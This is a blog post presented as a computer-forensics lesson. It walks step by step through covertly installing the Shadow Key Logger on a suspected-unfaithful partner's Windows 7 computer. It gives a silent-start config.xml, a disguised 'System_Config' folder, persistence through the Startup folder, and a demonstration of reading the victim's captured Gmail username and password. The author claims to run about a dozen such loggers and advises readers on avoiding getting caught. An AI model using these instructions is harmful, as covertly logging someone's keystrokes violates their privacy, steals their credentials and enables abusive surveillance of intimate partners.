Key Logging


SKL Dowload: http://shadow-keylogger.en.softonic.com/


Greetings.

For those of you who are new, this is the second blog post to Easy Computer Forensics. Last week’s post focused on deleted file recovery. This week, we dive into a darker, more controversial topic in computer forensics. As such, I have deemed it necessary to provide a forewarning of its contents.

The blog today will teach you how to  create, and covertly deploy a key logger. If you are not already familiar, a key logger is a device that allows a user to record every word, character, or symbol that is typed on someone’s computer. So what could you gain by key log someone’s computer?-A Password to a social networking site, a  credit card number, a social security number…the possibilities are endless.

 Sound malicious? How about unethical? Possibly illegal? That’s because it  almost always  is.  With that being said, keep in mind that:

1.       This blog post aims to inform, not to encourage. I am not condoning that you key log anyone.  I am simply explaining to you the steps involved in creating and deploying one.


2.  There are exceptions to every rule. Sometimes extreme circumstances call for extreme measures.I have successfully used the techniques in this blog countless times. In fact, I have close to a dozen key loggers deployed currently.   If you feel that you have reason enough to use a key logger,  these instructions can help. 

3.      Please be careful. There are laws that protect people from unlawful eavesdropping, sometimes key logging can break these laws . If you do decide to key log someone, at least make sure you read this post all the way through- that way you don’t get caught. 

_________________________________________________________________________________


Let’s continue our scenario where left off in last week’s post:

"After we provided our friend Theseus with the evidence we found, He decided to confront Helen about her affair. To our surprise, the conversation took a different direction than we expected. Helen apologized to Theseus, and promised to remain faithful if Theseus gave her another chance. 

Theseus, being the kind of guy he is, agreed. While he is eager to rebuild their relationship, Theseus also wants to be sure that he isn’t fooled again. He has come to us again for help, this time asking for a way that we can keep track of Helen's computer activity, in case she decides to write anymore love letters.”

So we begin.

We want to first consider possible solutions to Theseus’s problem.

There are many subscription based services that can provide real time monitoring of a person’s computer.  But such services are expensive, difficult to install, and are often designed for businesses with many computers.  On the other end of the extremity spectrum, we could just check Helen’s internet history every few days. But, internet history is easy to delete- and doesn't catch computer activity that takes place in programs that aren't web browsers.

 It looks like a better solution would be  to deploy a key logger. A key logger is easy to set up, and will catch everything that Helen types into the computer, no matter the program she is using.

So now we need to make the key logger. First, we download  and install  the program Shadow Key Logger. We take the "sk.exe" file from the download, and place it into a new folder. Name the new folder System_Config.

 At this point in time, we can double click and run sk.exe (on our computer) and verify that it is working .

We are taken to the key logger configuration screen. This screen prompts us for a handful of preferences, as well as a Session Password. (The Session Password allows us to end the key logging Session).
 Some of the preferences allow us to choose where to save our results, as well as how often we would like the results updated.

These options are fantastic.. However, as the program stands currently, the settings need to be inputed every time Shadow Key Logger is run. Not only will we not be around to do this every time Helen uses her computer, but a pop-up window asking for key logging preferences would probably make her very suspicious.

Luckily, we have found a way to edit Shadow Key Logger, so that it knows what preferences we want without having to prompt us. Additionally, This will allow us to run Shadow Logger on Helen's computer discretely, as there will be no pop-up window when the program begins..

To make these modifications, we will use a  XML file.  We create begin the modification by inserting the following code into Notepad.

<?xml version="1.0" encoding="UTF-8" ?>
 <config>
 <Password>easycomputerforensics</Password>
 <StartRecordingImmediately>1</StartRecordingImmediately>
 <AccessMode>Manual</AccessMode>
 <AccessIcon>Computer Networked</AccessIcon>
 <IncludeTimestamp>1</IncludeTimestamp>
 <SaveKeystrokes>1</SaveKeystrokes>
 <SaveKeystrokesDir>C:\System_Config\</SaveKeystrokesDir>
 <SaveKeystrokesRate>3</SaveKeystrokesRate>
 <TakeScreenshots>0</TakeScreenshots>
 <TakeScreenshotsDir></TakeScreenshotsDir>
 <TakeScreenshotsRate></TakeScreenshotsRate>
 <TakeScreenshotsQuality></TakeScreenshotsQuality>
 </config>

Now we must save the file as config.XML, and place it into our System_Config folder..

With this modification, we are ready to deploy our key logger on Helen's computer...  We Place the entire System_Config folder onto a falshdrive or other portable storage device.

While Helen is away. We have Theseus provide us with access to her computer.  The first step in the deployment is to copy System_Config, onto the root of Helen's C Drive.

At this point, our key logger is fully functioning, and is tucked away in  an innocent looking folder on Helen's computer.  Earlier, when we made our folder, we were sure to give it a name that would not spark Helen's curiosity. It is unlikely that she or anyone else would be suspicious of a folder named "System_Config" on the C drive.

So what is there left for us to do? Well unfortunately,  even with our XML file and our clever hiding spot, sk.exe will not run without someone double clicking on it. And we can't exactly ask  Helen to do it for us...

Luckily, there is  an easy way to modify the startup commands on Helen's computer, so that sk.exe runs automatically every time she turns it on.

Since Helen is using a Windows 7 computer, we can  use "RUN:" to navigate to:
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup
This will bring up the startup folder. Within the startup folder, we want to place a shortcut to sk.exe.

Now, whenever Helen turns on her computer, Windows will run the shortcut. The shortcut will direct Windows to C:\System_Config\sk.exe.  When sk.exe is activated, it will apply the default settings provided by our config.XML, which will start shadow Key Logger discretely. We can restart Helen's computer to ensure that this is working.

Once Helen's computer has been restarted, we don't see any sign that would indicate the presence of Shadow Key Logger running. This is a good thing, because we need it to be ad discrete as possible. However, there is one subtle sign of its presence. If we focus our attention to the System Tray in the bottom right corner of Helen's computer, we can see that there is an icon in the shape of a computer. This is Shadow Key Logger's discrete way of showing us that is in fact running. The icon is designed to blend in with the others in the System Tray, and is really only visible to those who know what to look for.

 This system tray icon is also how we can send a stop command to Shadow Key Logger. If we double click on it, it will pull up a screen that discretely prompts for a  password. If were were to type in  our session password "easycomputerforensics" (defined in the config.xml file), the key logging session would terminate.  Since we do not want to end the session, we can close out of the pop-up box and continue the key logging session.

So where and how do we find the results of our key logging?  How often are the results updated. Like the session password, these preferences were declared in the config.xml file.

Our config.XML file instructs Shadow Key Logger to store its results in word documents, in  the System_Config folder. The results are updated every 5 minutes.

Now that we know how to find the results of the key logging sessions, all that is left to do is wait for Helen to use her computer again, so we can take a look. We turn her computer off, and carefully leave, ensuring everything looks exactly as it did before we were there.

_______________________________________________
"Theseus has called to inform us that in the short amount of time that we were gone, Helen turned on her computer, and typed up some sort of Email before leaving again. He has asked us to come by again and help him see what she typed."

On Helen's computer, we navigate to C:\System_Config\. In the folder, we see one document file produced by Shadow Key Logger.

We open it to view the results:

We can easily decipher the results to learn that Helen signed into her g-mail account just after 3pm. We also can see what she used as a username ("helenofTroy") as well as what she used as a password ("Trojanhorse").  Most importantly though, we can see the contents of an email that she started to type- it looks like we have more bad news for Theseus.